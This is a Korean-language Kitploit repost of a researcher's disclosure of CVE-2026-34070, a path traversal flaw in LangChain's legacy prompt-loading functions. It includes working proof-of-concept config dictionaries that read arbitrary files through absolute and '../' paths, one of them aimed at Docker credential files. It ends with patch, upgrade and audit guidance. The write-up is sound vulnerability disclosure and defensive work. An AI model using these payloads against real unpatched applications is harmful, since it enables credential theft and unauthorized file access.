Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34070 — # langchain에서 제로데이 취약점을 발견했습니다 — 그 과정은 이러했습니다 | Kitploit
도구/GitHubGitHub/rickidevs/cve-2026-34070
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubrickidevs/cve-2026-34070

CVE-2026-34070

# langchain에서 제로데이 취약점을 발견했습니다 — 그 과정은 이러했습니다

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LangChain에서 발견한 경로 탐색 버그 — 클라우드 자격 증명이 유출될 수 있습니다

AI의 가장 인기 있는 프레임워크 중 하나에서 잊혀진 레거시 API가 어떻게 수백만 개의 애플리케이션을 임의 파일 읽기에 조용히 노출시켰는지.


개념 증명(PoC)이 첫 시도에 성공했을 때 느껴지는 특정한 감정이 있습니다. 정확히 말하면 흥분이라기보다는 — 실제로 무언가 일어났다는 느린, 불편한 깨달음에 가깝습니다. load_prompt_from_config()에 테스트 구성을 실행하고 읽어서는 안 되는 파일의 내용이 터미널에 그대로 출력되는 것을 보았을 때 제가 느낀 감정이 바로 그것이었습니다.

이것은 CVE-2026-34070의 이야기입니다: langchain-core의 경로 탐색 취약점으로, 현재 버전 1.2.22에서 패치되었습니다.


왜 LangChain인가?

지난 몇 년 동안 AI로 무엇이든 구축해 보았다면, 거의 확실히 LangChain을 접해 보았을 것입니다. LangChain은 현대 AI 스택의 연결 조직입니다 — 언어 모델, 벡터 저장소, 도구, 프롬프트 관리를 하나의 응집력 있는 애플리케이션으로 연결하는 프레임워크입니다. GitHub에서 13만 개 이상의 스타를 보유하고 있으며, 소규모 주말 프로젝트부터 엔터프라이즈 배포까지 모든 곳에서 채택되고 있기 때문에, 여기의 취약점은 국지적으로 머물지 않습니다.

저는 프롬프트 하위 시스템에 대한 코드 검토를 수행하던 중 눈에 띄는 것이 있었습니다: langchain_core/prompts/loading.py라는 모듈이었습니다. 역직렬화된 구성 사전에서 직접 가져온 값을 기반으로 디스크에서 파일을 로드하고 있었습니다. 검증도 없었고, 경로 정화도 없었습니다. 그저 open(path)뿐이었습니다.

계속 읽어 보았습니다.


취약한 코드

세 개의 내부 함수가 이 문제의 중심에 있었습니다:

  • _load_template() — template_path, suffix_path, prefix_path가 참조하는 파일을 읽습니다
  • _load_examples() — 문자열일 때 examples 키가 참조하는 파일을 읽습니다
  • _load_few_shot_prompt() — example_prompt_path가 참조하는 파일을 읽습니다

파일 확장자 검사는 있었습니다. 템플릿은 .txt. 예제는 .json, .yaml, .yml. 그러나 이러한 경로가 절대 경로(/etc/passwd)이거나 탐색 기반(../../../../home/user/.ssh/)인 것을 막는 것은 아무것도 없었습니다. 확장자 필터는 거짓된 안전감을 주었습니다 — 공격자가 올바른 확장자를 선택해야 한다는 의미일 뿐, 공격이 차단된다는 의미는 아니었습니다.

이 함수들은 모두 두 개의 공개 API를 통해 도달할 수 있습니다: load_prompt()와 load_prompt_from_config().


개념 증명

가장 간단한 버전은 다음과 같았습니다:

root@kitploit:~
from langchain_core.prompts.loading import load_prompt_from_config

config = {
    "_type": "prompt",
    "template_path": "/tmp/secret.txt",
    "input_variables": [],
}

prompt = load_prompt_from_config(config)
print(prompt.template)  # /tmp/secret.txt의 내용이 깔끔하게 출력됩니다

이것이 전부입니다. 절대 경로를 전달하면 PromptTemplate에 담긴 파일 내용을 돌려받습니다. 인증도 없고, 특별한 권한도 필요 없습니다. 구성 사전에 영향을 줄 수 있다면 파일을 읽을 수 있습니다.

디렉터리 탐색도 똑같이 깔끔하게 작동했습니다:

root@kitploit:~
config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}

JSON/YAML 변형은 도달할 수 있는 파일 종류 때문에 더 위험하다고 할 수 있습니다:

root@kitploit:~
config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}

prompt = load_prompt_from_config(config)

.docker/config.json에는 Docker Hub 자격 증명이 포함되어 있습니다. ~/.azure/accessTokens.json에는 Azure 토큰이 있습니다. Kubernetes 매니페스트, CI/CD 구성, 내부 애플리케이션 설정 — 파일 시스템 어디에 있든 올바른 확장자를 가진 모든 것이 공격 대상이 될 수 있었습니다.


실제 공격 표면

CVSS 점수는 7.5 High로, 벡터는 AV:N/AC:L/PR:N/UI:N — 네트워크 접근 가능, 낮은 복잡성, 권한 불필요, 사용자 상호 작용 불필요입니다.

파일 확장자 검사가 읽을 수 있는 파일을 제한하기 때문에 점수가 9 이상으로 제한되지 않았습니다. 그러나 7.5는 특정 배포 패턴에서 실제 영향력을 과소평가합니다.

프로덕션에서 이것이 어디에 해당하는지 생각해 보십시오:

  • 로우코드 AI 빌더 — 사용자가 UI를 통해 프롬프트를 구성할 수 있게 하는 경우, 백엔드가 사용자 제어 구성을 load_prompt_from_config()에 직접 전달한다면 모든 사용자가 잠재적 공격자입니다.
  • API 래퍼 — 라이브러리가 정화를 처리한다고 가정하고 프롬프트 로딩 엔드포인트를 노출하는 경우.
  • 클라우드 배포 앱 — 환경 비밀이 파일로 마운트되는 경우(Kubernetes, AWS ECS, GCP에서 매우 일반적인 패턴).

이러한 환경에서는 "파일 확장자에 의한 제한"이 훨씬 덜 중요합니다. 공격자는 올바른 확장자를 가진 존재하는 파일을 알고 있으면 간단히 대상으로 삼을 수 있습니다. 일반적인 클라우드 인스턴스에서: requirements.txt, config.yaml, .env.yaml, .json 확장자를 가진 마운트된 비밀 파일 — 목록은 깁니다.


왜 이런 일이 처음부터 존재했는가

영향을 받은 함수는 권고에서 "문서화되지 않은 레거시 API"로 설명됩니다. 이들은 현재 langchain_core.load 직렬화 시스템(dumpd/dumps/load/loads)보다 앞서며, 이 시스템은 허용 목록 기반 모델을 사용하고 파일 시스템 읽기를 수행하지 않습니다.

새로운 API는 존재합니다. 더 낫습니다. 그러나 이전 코드는 정리되지 않았습니다 — 검증 없이, 도달 가능한 상태로 그냥 놓여 있었고, 기다리고 있었습니다.

이것은 주목할 가치가 있는 패턴입니다. 빠르게 움직이는 오픈 소스 프로젝트, 특히 LangChain처럼 빠르게 성장한 프로젝트에서는 기술 부채가 구석에 축적됩니다. "실제로 사용자를 위한 것이 아니었던" 레거시 코드는 기본 API 표면과 동일한 조사를 받지 못합니다. 그러나 여전히 호출 가능합니다. 여전히 패키지에 있습니다. 그리고 디스크에서 파일을 읽는다면 잠재적 취약점입니다.


수정 사항

패치는 langchain-core 1.2.22에 포함되었습니다. 수정은 파일이 열리기 전에 절대 경로와 .. 탐색 시퀀스를 모두 거부하는 경로 검증을 추가합니다. 신뢰할 수 있는 경로에서 읽어야 하는 애플리케이션을 위한 탈출구 — allow_dangerous_paths=True — 가 제공되며, 호출자가 위험을 선택한다는 명시적 인정이 포함됩니다.

레거시 API는 이 릴리스에서 공식적으로 더 이상 사용되지 않습니다(deprecated). 2.0.0에서 완전히 제거될 예정입니다. 어디에서든 load_prompt() 또는 load_prompt_from_config()를 사용하고 있다면, 파괴적인 변경을 기다리지 말고 지금 langchain_core.load 등가물로 마이그레이션하십시오.

즉시 업데이트하십시오:

root@kitploit:~
pip install --upgrade langchain-core

1.2.22 이상인지 확인하십시오:

root@kitploit:~
python -c "import langchain_core; print(langchain_core.__version__)"

자신의 코드베이스에서 확인할 사항

LangChain을 기반으로 구축하고 있다면, 빠른 감사가 가치 있습니다:

  1. 코드베이스에서 load_prompt와 load_prompt_from_config를 검색하십시오. 나타난다면 무엇이 전달되고 있는지 확인하십시오.
  2. 이 함수들로 흘러 들어가는 구성 사전에 사용자 영향 값이 포함되어 있는지 물어보십시오. 그렇다면 업데이트 전에 잠재적으로 취약했을 수 있습니다.
  3. 배포의 파일 레이아웃을 검토하십시오. 인스턴스에 .txt, .json, .yaml 확장자를 가진 파일이 무엇이고 무엇을 포함하는지 이해하십시오.

마무리 생각

AI 인프라의 보안 버그는 이러한 시스템이 더 민감한 워크로드를 처리함에 따라 더 중요해질 것입니다. LangChain 팀은 잘 대응했습니다 — 수정은 깔끔하고, 더 이상 사용되지 않는 경로는 명확하며, 권고 문서는 철저합니다.

그러나 이것은 AI 애플리케이션의 공격 표면이 모델만이 아니라는 좋은 알림입니다. 스택의 모든 라이브러리, 정리되지 않은 모든 레거시 함수, "사용자가 여기에 신뢰할 수 없는 입력을 전달하지 않을 것"이라는 것이 보장이 아닌 가정으로 판명된 모든 곳입니다.

코드를 읽으십시오. 특히 오래된 부분을.


CVE-2026-34070이 이 취약점에 할당되었습니다. 전체 권고는 LangChain GitHub Security Advisory에서 확인할 수 있습니다.

도구 다운로드